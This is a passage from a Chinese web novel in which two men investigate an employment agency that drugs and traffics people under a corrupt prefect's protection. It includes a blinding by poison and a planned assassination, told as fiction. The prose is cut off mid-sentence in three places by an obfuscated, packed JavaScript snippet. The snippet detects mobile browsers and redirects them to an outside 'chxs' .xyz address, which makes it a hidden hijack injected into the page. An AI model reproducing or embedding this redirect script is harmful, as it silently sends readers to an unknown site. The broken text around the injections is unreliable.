确定荐贤居的生意是正经活还是披着善意的刀,这才打算亲自探探。 萧灼尘黑着脸说:“你不用为我做到这个地步。”他是想查尹源这个人,但还不至于需要叶澈为他以身犯险。 叶澈犹豫着开口:“也不算是为你,我挺欣赏苗大人这个人。”若是这地方有问题,那位州刺史大人怕是难逃其咎,到时对于苗若歌来说,应该也算个好消息,若是这地方没问题更好,银钩门未来也能在代水城试试这个买卖。 眼前的人脸更黑,萧灼尘“哦”了一声:“那你去吧,三……两日内来找我汇报。” 叶澈点头:“后日寅时三刻在这见,如果我不方便,我会想办法给你留讯息,你注意下地上的石头。” 萧灼尘又看了一眼不远处的女人,这才松手:“自己小心。” 叶澈挤出天真的笑容,倒退两步才转身小跑到那女人身边,两人说了几句话,女人朝着他的方向微笑着招呼示意便一同再进了荐贤居。 眼看门口的护卫也朝这边看来,萧灼尘扫过一眼便离开,现在才过午时,等到后日寅时,够了,这些时间足够他摸清楚尹源的问题。 萧灼尘直奔刺史府,公主命他查清楚尹源有没有会泄露信息的秘密账本,这事不难,将刺史府和尹源的宅邸都摸个遍就行。 直到暮色降临,萧灼尘已经在府上如入无人境,账本没摸到,摸到不少黄金。 尹源的宅邸有三处,每处都有暗藏黄金的地方,再算上摆放在一起的银票,这摆在明面上的钱财,都已经算得上家财万贯。 刺史府上灯火通明,尹源腆着肚子从廊下经过,身后跟着两人,一人问道:“大人,还有一事,公主的人既然在定陶县住着,那这批货要不要趁早先送出去。” 另一人附和道:“听说他就带了一个随从,多半还是个小倌儿,说不定京城传来的消息有误,这人就是个花架子。” 尹源停下来:“蠢货,花架子能得公主青睐?不过他这行事风格确实与传言不太符合,总之,不要掉以轻心,好的货这两天就送出去,次点的先等等,下个月再送。” 货?萧灼尘在廊顶听得清楚,又有些糊涂,他们让人送什么货?什么货还得避着他? 萧灼尘跟着两人一路向南,见两人各自进了白日里他和叶澈来过的铺子,顿时恍然,这两人恐怕就是两家店的老板,尹源不仅是靠山,恐怕就是背后真正做主的人。 荐贤居光影交错,进出的人少了,五步一护卫的身影便更加明显,萧灼尘忙活半天才终于趁着换人的功夫进了三楼,楼高五层,越往上护卫便越多。 小小商铺哪里用得上这么多护卫,虽是明知这店有古怪叶澈才来,但这明显防备重重的楼宇还是让萧灼尘有些担心。 突然熟悉的声音传来,叶澈从二楼的房间里冲出来,拱着手笑道:“两位姐姐饶了我,这香味我实在受不住。” 萧灼尘担忧的心直接坠入地下,消失不见,叶澈换了身衣服,青衣罗衫随着他的动作飘动,月白色的长衫显得整个人更加清秀,叶澈说着话眼神却是到处乱转,正好与直勾勾盯着他的萧灼尘对上。 萧灼尘冷眼看他对自己眨眨眼,这是让他不要碍事? 亏他还担心这人在这有危险,这种江湖老泥鳅,能有什么危险?萧灼尘收回目光,趁人不备又出了楼,重奔刺史府。 次日,萧灼尘在刺史府和尹源的宅邸翻来覆去一天,也没找到尹源与这两家店有关的东西,想不到这人格外谨慎,那两个老板倒是晨昏定省般的上刺史府找尹源,萧灼尘分身乏术,决意先盯着这两人的动静。 他安排留在定陶县的人也已启程来沣水城,算日子明后天就该到了,萧灼尘打定主意,先看看叶澈的进展,等人都到了便直接锁了这两家店。 寅时未至,萧灼尘便早早等在约定的地点,他仔细看过附近的石头,没发现特别之处,这才跳上最高的那棵树,头上的金簪已经换回去,他捏着那截树枝要仍不扔,想起那人在楼里的风流模样,萧灼尘心中冷哼,一个找活的地儿,弄得像个青楼馆。 萧灼尘捏着树枝的手一顿,终于意识到不对,叶澈是去找活的,就算要换衣服,他那一身也不像是干粗活的模样,有打更的声音传来,已到时间,附近的早餐铺子稀稀拉拉地打开门帘点上灯,准备新一天的生意。 叶澈没有出现,萧灼尘眼神沉下去,直奔荐贤居,昨晚见到的那个房间香气混杂,空荡荡的屋子里只有熏炉和正中央的大床格外显眼。 四下安静,萧灼尘只听得见自己愈发急促的心跳声。 12. 失明 叶澈是在倒在那张床上时发现事情失去控制的。 整整一下午的时间,霞姐带着他逛遍沣水城的布店、胭脂店,从头到脚给他换了身行头,说是找的活在富贵人家做下人,穿得干净些主人喜欢,叶澈看着穿上身的衣服越来越软,心中有了计较,这家店是明摆着的黑心人肉贩子。 叶澈不想打草惊蛇,配合着霞姐的安排,直到她带他进了二楼的那间房。 房里的东西不多,角落里放着书架和书桌,最惹眼的便是屋里正中央的大床,看上去像是临时搬了张床扔到不常用的书房,霞姐笑道:“这里是平日里大家累了松松筋的地方,今晚你就在这休息,明天再带你去干活的地儿。” 叶澈摸摸身上的衣服,看上去很珍惜的模样:“霞姐你对我太好了,我还没开始干活就穿新衣服,明天去的那户人家是做什么的?你多给我说说,我好准备准备。” 霞姐目光上下打量他,轻轻笑一声:“已经准备好了,没事,你今晚好好休息就行。” 这种神情叶澈很熟悉,卖猪的农户们在送走自家养的猪时就是这种眼神,他心中微沉,他们竟然明目张胆就要将人卖了,能将这样的黑心买卖做到如此大的门店,这州刺史果然很有问题。 叶澈看着霞姐离开,才关门进了屋,他在屋里巡视一番,又绕着床翻找,从床底一路往上翻,不过片刻的功夫,他突然身体一软失去力气,就这么倒在床上。 棠敬带着他闯荡江湖时最爱说的话便是,“人心难测,暗箭难防,行走江湖要警惕那些施毒下药之人”,这次他和棠溪出门,特意带了些解毒丸,寻常迷药都可解,只是他大部分都留给了棠溪,随身只带了两颗。 叶澈屏气嚼碎半颗咽下,感觉身体恢复了些力气便继续躺着不动,这些人既然迷倒他,必然有其他准备。 一刻钟后有人推门而入,叶澈被人扶好重新躺下,听呼吸大概是两个女人,她们将浸湿的帕子轻放在叶澈眼睛上,一股怪异的香味入鼻,叶澈装作被香味呛醒的模样,推开两人,踉跄着向屋外跑去,眼看周围似乎有人要上前,他回身作揖:“两位姐姐饶了我,这香味我实在受不住。” 不知是这香还是那湿帕子的问题,叶澈觉得眼前色彩斑斓,看人都是重影,他张望着楼里的情况,试图看清,却正好对上一双熟悉的眼神,似乎是萧灼尘。 他怎么会在这?是他吗?叶澈眨眨眼想看清那人的模样,两个女人已经追出来一人搀着一边,轻声道:“等会就习惯了,没事。” 女人身上带着香,叶澈被拖回床上,又盖上了湿帕子,在愈来愈浓的香气中叶澈心一横,干脆晕死过去。 再醒来时已经换了地方,叶澈身下的软床变成硬木板,身体在不受控制的摇晃着,他这是在马车上。 叶澈看着眼前一片漆黑,闭了闭眼再睁开,还是一片黑,这些人把他毒瞎了?他扶着身子坐起来,手在周围试探着摸了摸,突然抓到一双脚,叶澈喝道:“谁在那!” 有女孩怯生生的声音响起:“我,我的脚。” 听上去年纪不大,叶澈靠在车壁,微微偏头道:“抱歉姑娘,我看不见,你怎么在这?” 女孩小声说:“没事,我知道你不是故意的。” 叶澈冷静下来,听着外边的动静,前后都有声响,至少有三辆,若每辆马车上都有两个人,这家店一次性要送这么多人去哪?叶澈重新闭上眼,试图习惯看不见的环境,事情变化太快,他得尽快弄清楚自己的处境。 女孩的声音传来:“你眼睛还疼吗?” 叶澈摇摇头,意识到她问得突兀,便问:“你看得见我?” 女孩习惯性点头,见他闭着眼又开口:“我自己要来的,他们没对我下药。” 叶澈摸索着女孩声音传来的方向,正对着问道:“姑娘,怎么称呼?” “我叫周月。” 周月是主动找上荐贤居的,一年前她娘说去荐贤居找活便一去不返,荐贤居的张老板派人去过她家,只说主家是外地的,缺人缺得紧来不及告别,但工钱会由他们帮着寄回家,那天他们在周家留下了一大笔银子。 自那以后荐贤居偶尔会派人送钱和递消息,但那些消息不外乎是注意身体之类的场面话,周月再不懂事,时间久了也发觉不对,她问过她爹,那个陷在赌桌上的男人只是骂她“小孩子瞎操心”。 周月笃定道:“我爹和他们一起,把我娘卖了。” 就算当初不是一伙,金钱诱惑下,周月的爹蒙住双眼捂住耳,只为自己的快活,叶澈听得半晌无言,听她不再说话才说:“你是想去找你娘?” 人海茫茫,找人并不容易。 周月有些稚嫩的声音里透着坚定:“我娘不好找,我要去杀了那些卖我娘的人。” 叶澈拧眉还要再问,马夫停了车,车厢摇晃,他伸出手稳住重心,感觉得到有人打开了车厢门。 霞姐的声音传来:“哟,醒了。” 城南街道口,平日里行人如织的长街被拦起来,萧灼尘脸色阴沉地坐在大道中间,才缘轩的王老板和荐贤居的张老板被架在门口,店里的东西被人从楼上扔下,王老板涨红着脸嚷道:“京城来的萧大人就能不讲王法吗!砸我们的店,说我们有问题,你去问问老百姓,多少人在我们这找到事情做!” 张老板附和喊道:“就是!你自己丢了小倌儿来我们这找人,笑话!以权谋私,我不服!” 围观的人不明就里,听着热闹连连点头,还以为在看官家人的丑笑话,窃窃私语间打量着那个坐着一动不动的人。 身边目光如刺,萧灼尘毫不在意看着那两人急得跳脚的模样,他们叫得越难听越好,这里的动静够大,尹源就无法躲在背后看戏,萧灼尘在等他来,然后当着所有人的面拿下那位州刺史。 萧灼尘必须给他们足够的下马威,才能让那些已经出城的人对手里绑着的人有所忌惮,他闹得动静越大,叶澈越安全。 按计划,无论刺史府里有没有东西,他都会从刺史府搜出这些年上贡给公主的账簿明细,公主的信任是束缚,也是能借来杀人的利刃,萧灼尘一直用得很好,可是叶澈失踪,他不得不先将这件事放一放,找到人再说。 叶澈,叶澈!萧灼尘想到这个人都觉得透不过气,他不该把这人带到沣水来,他越想越生气,霜刀顶着压力凑近他:“公子,刺史大人来了。” 萧灼尘半抬眼看向那个腆着肚子朝他走来的人,尹源板着脸走到他面前:“下官州刺史尹源,见过萧大人,大人,您刚到沣水城便如此兴师动众,不知是为何?” 萧灼尘也不废话,抬手示意:“都拿下。” 有人伸手将叶澈拽下马车,他失去方向感有些不稳,周月跟下来撑住他,霞姐在一旁笑道:“哟,还是小姑娘好,会心疼人。” 事已至此,再装天真也没有必要,叶澈凭感觉偏头问道:“霞姐,你要卖我,也没必要把我毒瞎吧,身体好的卖价更高才对。” 霞姐鼓着掌走来:“我就知道你在装傻,不下点药你给那个同伙通风报信怎么办?” 叶澈笑道:“霞姐嘴里的同伙是说萧哥吗?你觉得我们是别有所图?” “你们图什么我不知道”,霞姐似乎离他更近了些,“没看到你那位萧哥前,我还真以为你是来找活的外地人,可你那位萧哥眼里有钩子,绝不是善茬,所以要怪就怪你那位好哥哥,你变成现在这样有他一半功劳。” 这颠倒黑白的功力倒是不错,叶澈点点头:“你说得对,我是得找他麻烦,只是不知道现在你要带我去哪?” 霞姐的声音随着渐远的脚步声落下:“好地方,小子,带他们上车,别伤到脸。” 身边有其他人啜泣的声音传来,叶澈紧紧抓着周月,被人推搡着上了马车,吆喝声起,似乎换了马车,周月扶着他在角落坐下:“我们换了辆小点的马车。” 待坐稳了叶澈才问:“你刚才有看到其他人吗?” 周月在他掌心悄悄写了个八,开口说道:“没有。” 这车上还有其他人,叶澈眨眨眼,是个聪明姑娘,他轻轻捏了捏周月的胳膊,笑道:“以前我总羡慕别人有兄弟姐妹,听你声音应该比我小,满十八了吗?” “十六,十六的生日都还没过。”周月回他。 叶澈笑了笑:“那比我小几岁,相遇也是缘,以后我算你半个哥哥,有什么想要的?” 周月顿了一下,似乎认真想过才说:“钱,我想要很多的钱。” 看来这便是她给荐贤居的说辞,叶澈点头:“我记下了。” 正坐在他们面前的霞姐皱着眉看两人有来有回的废话,忍不住翻个白眼,换了个姿势继续听。 叶澈却不再说话,闭上眼假寐,周月主动进的荐贤居,必然不会帮他离开,既然还有其他人被抓,叶澈睁开眼,对着周月说道:“我有点困,休息会。” 他边说边站起身,马车摇晃,周月伸手想拉他就地坐下,叶澈却已经跪倒在地,整个人向前扑去,霞姐忍不住“哎”一声,叶澈听出这人的声音,趁着滑倒方向顺势往前一抓,也不管抓到的是什么便用力朝自己方向扯过来。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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是他愚蠢,没有更早意识到尹源嘴里的“货”就是“人”,才会处于这么被动的局面。 堂下人一脸坦荡,毫不心虚,萧灼尘看多一眼都觉得恶心,他看向屋外,冷淡道:“你的罪行都是事实,名册?只是时间问题。” 尹源上前两步,低声道:“萧灼尘,别忘了我们都是公主的人!” 萧灼尘厌恶看向面前人,那双不大的眼睛里映出自己此刻丑陋的模样,他听见自己的声音:“所以,我给你选择,把我的人安全送回来,这份名册,不会有。” 马车已经停下,叶澈背抵在角落,牢牢扣住手边的人,每听见有人靠近的动静他下手就重一分,霞姐痛到惊呼:“都不准动。” 叶澈朗声喊:“被卖的人,有几个是清醒的,说话!” 霞姐运人向来是给不听话的下药,听话的换上衣服便走,这会得了自由还能动的人竟占半数,那些五大三粗的护卫们忌惮叶澈扣住的命门不敢乱动,霞姐死了他们一分钱都拿不到,门面那边也不可能再回去,一时间两边就这么僵持着。 叶澈眼睛死死盯着虚空的方向,整个人处在极度紧张的防备状态,听到有人三三两两小声说着清醒,他动也不动地喊道:“听好了,你们就是这场买卖的证人,现在就回沣水城,去找从京城来的萧大人,他会为你们做主。” 最开始只有一个女孩的声音应他,再后来便有其他男人的声音插进来,听得出他们夺了马车出发,叶澈稍安下心。 霞姐嗤笑:“原来你们从京城来,那你又是哪位大人?” 叶澈意外她的淡定:“你不怕?” 霞姐笑意更深:“我有什么可怕的,你们可是在沣水城的地盘。” 叶澈在赌,他赌萧灼尘想要尹源的把柄,在定陶县萧灼尘不惜演那出戏都要单枪匹马杀到沣水城,想来在调查尹源这件事上存有私心,他不知道萧灼尘到底想做什么,但如果有送上门的证据,至少在查清楚沣水城皮肉生意的事上他们能暂时统一战线。 感觉到车内有人动作,叶澈开口:“周月,你想要的我帮你,什么都不要做,好吗?” 周月说她要杀了卖她娘的人,可人生不是非黑即白,要毁掉这些害人的人,并不是非得用杀人的方式,只是她年纪尚小,又家仇在身,叶澈不打算劝她,但他想帮她,沣水城的皮肉生意绝不止三两个人那么简单,要连根拔起才有用。 没等到周月的回复,叶澈又说:“相信我一次。” 霞姐插嘴笑道:“丫头,信男人的话,你就等着吃苦吧。” 叶澈利簪下压,他不想周月被这人的话影响:“你是女人,怎么还做这种事。” 霞姐恶狠狠道:“丫头,帮我,以后你就是荐贤居的人,所有的钱都有你一份。” 周月没说话,径直朝两人走来,叶澈抓着霞姐的手没松,眼前还是一片漆黑,他不想误伤周月,但也不确定自己能在这种情况下制服两个人。 马车里,周月伸手盖住叶澈抵在霞姐颈部的手,没用力,轻声说:“哥哥,扎进去,我就相信你。” 13. 周月 叶澈到底没让簪子扎破霞姐的喉咙,那些赶回沣水城的年轻男女们在路上遇上了萧灼尘派出的人,霜刀带着人赶过来时他正和周月僵持着。 听到马蹄声后周月挪开了手乖巧地坐在他身边,叶澈没有点破她的杀意,由着她搀扶着自己下了马车,倒是霞姐骂骂咧咧让人封了嘴。 回城的路上周月没再说过话,叶澈问了几句便作罢,好歹人都安全,有萧灼尘在城里坐阵,一时半会应该出不了事。 叶澈紧绷的神经在听到萧灼尘的声音后松懈下来,他还没开口那人已经劈头盖脸朝他走来,边走边骂:“叶澈!这就是你跟我说的不会有危险!” 这事是他欠考虑,叶澈自知理亏,抱拳道歉:“给大人添麻烦,我……” 他朝着无人处一拜,萧灼尘这才发现叶澈没有焦点的眼神,过去明亮有神的眼睛似乎蒙住了雾,什么都看不清,萧灼尘反手提起霞姐的脖子,一脸阴鸷看过去:“你们把他药瞎了?” 搜查那两家店时,萧灼尘找到了各种瓶瓶罐罐的药物,什么作用的都有,最多的还是迷情之药,发现叶澈失踪时他最担心的便是这人被药倒,刚才看到他站在马车前,萧灼尘疾步过来的路上上下逡巡好几遍才确认这人应该没被欺负。 提心吊胆的心还没完全悬下,却对上这对没有方向的双眼,萧灼尘说不清自己是懊恼更多,还是恨意更多,霞姐被他的狠手掐得喘不过气,挣扎着猛翻白眼:“能……好。” 能好,萧灼尘手下一松,将人扔到地上,吩咐道:“霜刀,在她身上试药,没问题再拿过来。” 叶澈话没说完,就被这乱七八糟的动静打断,一时间卡在半作揖的姿势没动,萧灼尘听上去火气很重,他进荐贤居是不是帮倒忙了? 没等他反应过来,突然身体一轻,他被人拦腰扛上肩,萧灼尘的声音响起:“把这些人安置好。” 叶澈惊慌中往手边一抓,抓住了这人的头发,身下人脚步一顿,捞过他的手牢牢抓住,继续往里走,叶澈在他肩头连连直叹:“哎,不是,等一下,大人,萧灼尘。” 萧灼尘扛着他踹开门,放下身时动作却轻了很多,叶澈摸到身后的软枕,这人似乎将他放在了软榻上,叶澈摸索着坐稳,有些茫然地抬头张望,有轻微的呼吸声从正前方传来,叶澈找准方向,挤出笑容:“大人辛苦了。” 伸手不打笑脸人,他好歹也帮着找了荐贤居的证人,就算坏了事应该也罪不至死吧。 萧灼尘看着面前陪笑的人,叶澈为了找方向伸直了脖子,两人脸离的很近,萧灼尘甚至能看清他眼皮上的痣,这人本就擅长装扮天真,如今眼神乱转更显无辜,连这讨好的笑容都带着点委屈模样,他这样让萧灼尘的满腔怒意无处可泄。 是该怪他的,叶澈贸然入局搅得他打乱计划,可说到底是自己不让人走,萧灼尘闭了闭眼,再睁眼时已心绪平静,人没事就好。 叶澈没等到回应,忍不住伸手去探:“大人你还在吗?” 手下触到皮肤那瞬间,活动的骨头带着他试探的手势轻轻往下一滚,叶澈惊得缩回手,讪笑道:“怎么不说话?” 被碰到的喉结像被羽毛轻挠,有些痒痒的,萧灼尘不自觉放轻语气:“眼睛疼吗?” 叶澈没想到他这么大阵势不是兴师问罪,连连摆手:“不疼不疼,睡一觉就瞎了,没感觉。” 他是真的不痛不痒,萧灼尘却听得眉头直皱,叶澈见这人又不说话,只得继续说道:“荐贤居这么明目张胆的买卖人,那位州刺史是不是有问题。” 岂止是州刺史有问题,萧灼尘不想这人再掺和进来,银钩门门主也不能现在就暴露在人前,想到这话便冷了许多:“我有数,不用你操心。” 明显的拒绝之意让叶澈也无法再尬笑下去,他只当自己给人添乱惹人心烦,叶澈礼貌问道:“大人,周月,就是那位跟我同车的小姑娘,一路照顾我很多,方便的话,能让我单独见见她吗?” 周月主动留了下来,她不肯回家,说是宁愿留在刺史府做丫鬟也不愿意再见到她爹。 叶澈心里清楚,小姑娘为人聪慧,心也够狠,留下来怕是为了其他目的,连他这个瞎了眼的人都能看出霞姐被绑回来时的无所畏惧,这些皮肉生意,这位州刺史大人绝不会无辜。 周月进门时只见叶澈正呆呆盯着虚无的方向,听见动静便转头问:“是周月吗?” 周月看了一眼沉着脸坐在桌边的萧灼尘,怯生生应了一句:“哥哥。” 桌边的人抬眼扫过来,周月避开他的目光走到软榻前,重复道:“哥哥,不要赶我走。” 萧灼尘不允许他们单独见面,叶澈只能语焉不详地应道:“我不是要赶你走,我就是想问一句,你想要的变了吗?” “不会变”,周月回得很快,“娘亲走后这就是我最想要的。” 萧灼尘冷冷开口:“不准打哑谜,你要什么?” 周月沉默没说话,叶澈叹口气:“她想要钱,路上我答应过她,我会帮她。” 叶澈话里半真半假倒是坦然,萧灼尘没再搭腔,叶澈又说:“我会帮你,但这不是简单的事情,等我眼睛好了我们再细谈,答应我,这两天先好好休息。” 如今他行动受限,在彻底恢复之前,他必须先稳住周月,叶澈想起门前萧灼尘的愤怒,尹源的底细这人最清楚,却不知这人究竟站在哪一边。 叶澈中的“蛛丝花毒”,毒性强见效 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492696|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快,是荐贤居用来控制人时最好用的手段,解起来倒也不难,用捣碎的瞳仁藤敷上十二个时辰,眼睛便可慢慢恢复清明。 等待的时间难熬,叶澈不想给人添乱连房门都没出过,要不是周月总掐着点来看他,他已经睡得不知白天黑夜。 屋里窸窸窣窣的声音再起时,叶澈以为是周月,便笑道:“这几天谢谢你。” 没有人应他,叶澈有些奇怪,这屋除了周月几乎没人来,他手往枕下摸去,那里有他让周月从厨房拿的小刀,没等他摸到刀柄,来人已经出声:“是我。” 萧灼尘看着叶澈警惕的表情松下来,如常笑道:“大人,进屋怎么不说话。” 药巾覆眼,盖住了叶澈大半张脸,他最近面对自己时又是这种伪善的笑容,萧灼尘看他半晌才说:“周月走了。” “走了?”叶澈一怔,“去哪?” 萧灼尘淡淡开口:“不知道,去更能挣钱的地方吧。” 叶澈没说话,周月要钱只是借口,如今他们暂居刺史府,尹源在这件事中的关系还没弄清,她怎么可能突然离开。 叶澈扯出笑容:“是吗?连给我道别的时间都没有?”周月肯定出事了。 见不得他这难看的笑,萧灼尘倒了杯茶,递到叶澈嘴边:“你们萍水相逢的人感情都这么好?还是叶门主就是喜欢到处认妹妹?” 叶澈别开脸,摸索着想接过水杯,萧灼尘也不动,任凭他不得章法地抓着胳膊一路摸到手腕,待人接过水杯后才说:“时间紧,她托我给你道别,无需挂念。” 他们说时间紧,缺人得很,后来我再没见过我娘,周月的话在脑海中响起,叶澈脸色变得很差,他们把周月卖了?萧灼尘允许的? 萧灼尘见面前人脸色变了,有些迟疑问道:“不舒服?” 叶澈手一偏,茶水顺势泼地,叮里当啷的动静里,他收回手坐进被子里,平淡道:“没有,有点困,大人要是没有其他事我就先休息了。” 说完又摸索着躺下,换了个方向没再说话。 萧灼尘看着他突然背身对人,竟真像是疲乏想睡的模样,他一时拿不准这人是生气了还是真困,难道是因为周月走了没给他告别不高兴?萧灼尘沉默着在床边坐了会才说:“她不是故意不来的,走的时候你还在睡。” 见人没反应,萧灼尘便起身准备离开,叶澈瓮声瓮气的声音从被子里传来:“大人,您觉得尹源是好人吗?” 萧灼尘皱着眉看着一动不动的人,语气柔和道:“安心养好身体,这不是你该操心的事。” 萧灼尘,你是和尹源一样的人吗? 叶澈在心里发问,听着屋里重又恢复安静,他默默伸手握住枕下的小刀。 14. 信任 晨光破晓,朝霞渐起,看来今天是个好天气,叶澈望着绯红色晕染的蓝天发呆,眼睛重见光明后他时不时就会抬头看天,以前他从没留意过,这世界的颜色如此丰富,不过瞎了几日,他似乎重新看清这世界,也重新认识萧灼尘。 叶澈余光里注意到那人已经来了一会,却只是不远不近站着没动,自从能看清后,叶澈发现萧灼尘的目光总是会落在自己身上,刚开始他还以为是偶然,次数多了他便发现那人确实是在看自己,就像现在一样。 事到如今,他有什么值得这人监视的? 有手掌横出挡住视线,萧灼尘的声音随之响起:“还没瞎够吗?” 叶澈似乎刚注意到他,忙起身作揖道:“大人,您今天这么早就去?” 沣水城最近不太平,城内最大的两家招工处被京城来的萧大人打了个稀烂,听说是为了找丢失的小倌儿,连刺史大人都被当街抓走。 小倌儿被找回后查明都是误会,萧大人便亲自送两位老板回自家店铺算是赔礼,门店是重新开张了,偏偏城里流言四起,说是京城流行吃年轻人的心头血,能够美容养颜,保住青春,两家店这些年来暗地里给京城的显贵们送了不少年轻貌美的“食材”,京城来的萧大人不敢得罪他们,只能吃闷亏假装一切是误会。 没有人知道是谁最先传的这些话,只是讲得人越来越多,百姓也从开始的质疑变得深信不疑。才缘轩和荐贤居这几年给人介绍的活水陆通有,沣水城不少人都背井离乡出过城,有的人甚至三五年都没回过家,留守在家的亲朋好友一琢磨,莫不是被人卖去京城送血,便三三两两聚集在两家店门口,要求给个说法。 两家店老板刚开始还会出来劝大家莫信流言,约几个闹事的家庭入楼细聊,后来聚集的人越来越多,一来二去压不住,竟有了聚众闹大的态势,这下店老板们也不服气,拿着契约和账本告到刺史府,双方各执一词,刺史大人一拍案板,要求店老板一个月内将人都找回来,自证清白,若是找回,为免再起事端,涉及的百姓家从此以后不准通过才缘轩和荐贤居来找活,若是找不回来,则直接关停整家店。 明面上看着是各打五十大板,各有惩戒,可城中百姓本就多半依靠这些店相互介绍活,若是店铺关门,同样的活他们最后拿到的钱便会变少,这些人也不满起来,觉得刺史大人太过武断,几方力量相互指责谩骂,本已压下去的混乱又兴起来。 萧灼尘便是这时候每日雷打不动的去两家店巡视,他带着人也不会刻意做什么,只是楼里楼外逛一遍,遇到斗殴便拦下,谁也不偏帮。 叶澈看不懂萧灼尘在这些事里的立场。 萧灼尘救下他时,叶澈以为他们在这件事上是一条船上的人,至少这人也想抓住尹源的把柄。可是周月失踪了,或者说周月是被他们联手卖了,趁着他眼睛还没好的时候,现在这人似乎也站在尹源一边安抚城中乱象。 叶澈也看不懂萧灼尘对自己的态度,如今城内混乱,萧灼尘以此为由让他留了下来,却也不拘着他的出行,就像当初在京城一样。 这人对尹源的事情避而不谈,叶澈不想再揣测他的心思,只当他是利用完自己后便恢复以前的漠视,言行间对他也客气了很多。 萧灼尘看着面前人低眉顺眼地鞠躬作揖,他不喜这伪善的面具,他没想到周月离开的事对这人影响这么大,说话间口气便有些冲:“去不去关你什么事?” 叶澈头都没抬:“大人说得是,草民多嘴。” 萧灼尘一甩袖子提步就走,没两步又走回他面前:“叶澈,周月离开是好事,你至于为这事闹脾气?” 叶澈讶异抬头,似做不解:“大人何出此言?”且不说周月,他什么时候闹脾气? 萧灼尘被他装腔作势的模样气到,这下真是转身便走了。 闹脾气的是您吧,叶澈心中腹诽,不知道这位少爷哪里不开心到处找茬,他收回目光,见人走远了才回屋。 这些日子叶澈也没闲着,萧灼尘前脚出门,他后脚便跟着上了街。 人群混乱的时候最好打探消息,叶澈混迹在刺史大人常出现的地方,也跟踪过那些闹事的人群,因为出去找活就此失了音讯的人比想象中多,叶澈看着尹源与那两个店老板避人耳目的亲密来往后终于确定,拐骗是真实的,尹源的坏也是。 既然如此,尹源必须死。 死是解决问题最简单的办法,也是最下策,如有可能,叶澈希望有人能够将这起人肉买卖的事情连根拔起,让所有牵扯其中的人都得到应有的报应,他曾以为那个人会是萧灼尘。 如今只有他自己,人单力薄,那便只能用江湖的办法解决,叶澈答应过周月会帮她,他向来不轻易许诺,当时虽有安抚之心,想要帮忙的心也是真的,这些人用不入流的手段到处蒙骗拐人,不该活得如此逍遥。 叶澈虽常年闯荡在外,却没有对人有过如此明确的杀意。 十四岁那年他和棠溪扶棺回乡,路上遇到不安好心的匪徒,那时也是各地时有暴乱发生的时期,说来也是时运,他们与匪徒纠缠之际,遇上了当地起义的流民,相互冲撞间也不知道是谁先动的手,反应过来时他们手上都已染了血,杀第一个人时还有些心悸,后来为了活命便全凭一口气边杀边逃。 安全后他们重回事发之地,上好的棺材边到处是尸体,叶澈把老门主的尸体捞出来就近选了个地儿安葬,如今逢年过节都只能遥敬三杯酒,以慰亡灵。 杀人的滋味并不好受,叶澈不喜欢,可这次确实动了杀心。 放任这些人继续猖狂下去,还不知会有多少人会遭其毒手。 叶澈选定的日子是萧灼尘的送别宴,也就是今晚。 明日萧灼尘便会启程回京,他也会自行离去,今晚的饯别是尹源在府中特意设的家宴,是最好的时机。 酒席上尹源端着酒杯走近叶澈,似笑非笑地看他:“小公子这次来沣水城受惊,最近事多没顾得上,以后有机会再来,老夫好好招待。” 叶澈客气笑道:“大人哪里话,我觉得这里很有趣。” 他坐着没动,自顾自喝了手中的酒,翻手倒空杯示意给面前人看,尹源朗声笑道:“爽快。”便也干了那杯酒,又倒满举着杯子去往上桌的萧灼尘。 叶澈自斟自酌,看着萧灼尘面前无人才起身迷蒙着眼往人面前走去,他大着舌头笑道:“萧大人,我也敬你一杯。” 萧灼尘盯着他接过酒杯:“醉了就去休息。”说完仰头一口,在京城时这人和赖凤时畅饮不醉,这才喝了几杯就晕乎了?他目光沉沉看着人摇摇晃晃离了席。 叶澈在下人搀扶下回屋躺着,半闭着眼嘟囔“再来再来”,等屋里恢复清净,他才缓缓睁开眼。 屋外喧闹声渐渐沉寂下来,叶澈揣上刀和药从窗户跳了出去,他轻车熟路直奔尹源的房间,屋里鼾声十足,叶澈推窗的手刚伸出去就被人从背后扣住口鼻环抱着飞身闪进其他屋。 “啪” 身上的刀和药被扔在面前,萧灼尘黑着脸看他:“装醉就为了杀人?” 叶澈还未出手便被人赃并获,他坦然席地而坐:“大人,我是喝醉了迷路,您可不要胡说。” 萧灼尘一把拎起人,低声道:“叶澈,我以为你不会这么蠢,杀了他有什么用?” 听出他话里有其他意思,叶澈抬眼直直看过去:“我这种愚蠢的江湖人士,看不惯这种欺瞒弱小的行为,今日杀不成那就明日再杀,萧大人,您会一直保护他吗?” 萧灼尘冷笑道:“保护?你觉得这是保护?看来是我高看你的才智,你看不懂这事不仅仅关系到一个尹源吗?” 叶澈被他的话绕晕,也大概听懂他应该不是尹源的人,叶澈有些糊涂:“萧灼尘,你什么都不说,到底指望我看懂什么?” 两人离得很近,叶澈明晃晃的困惑表情让萧灼尘陷入沉默,他是不想这人掺和,可这人背地里还不知会做些什么,他只能挑重点说:“两天前有几人在京城击鼓喊冤,直指沣水城州刺史尹源以私谋权 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14492697|154769||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 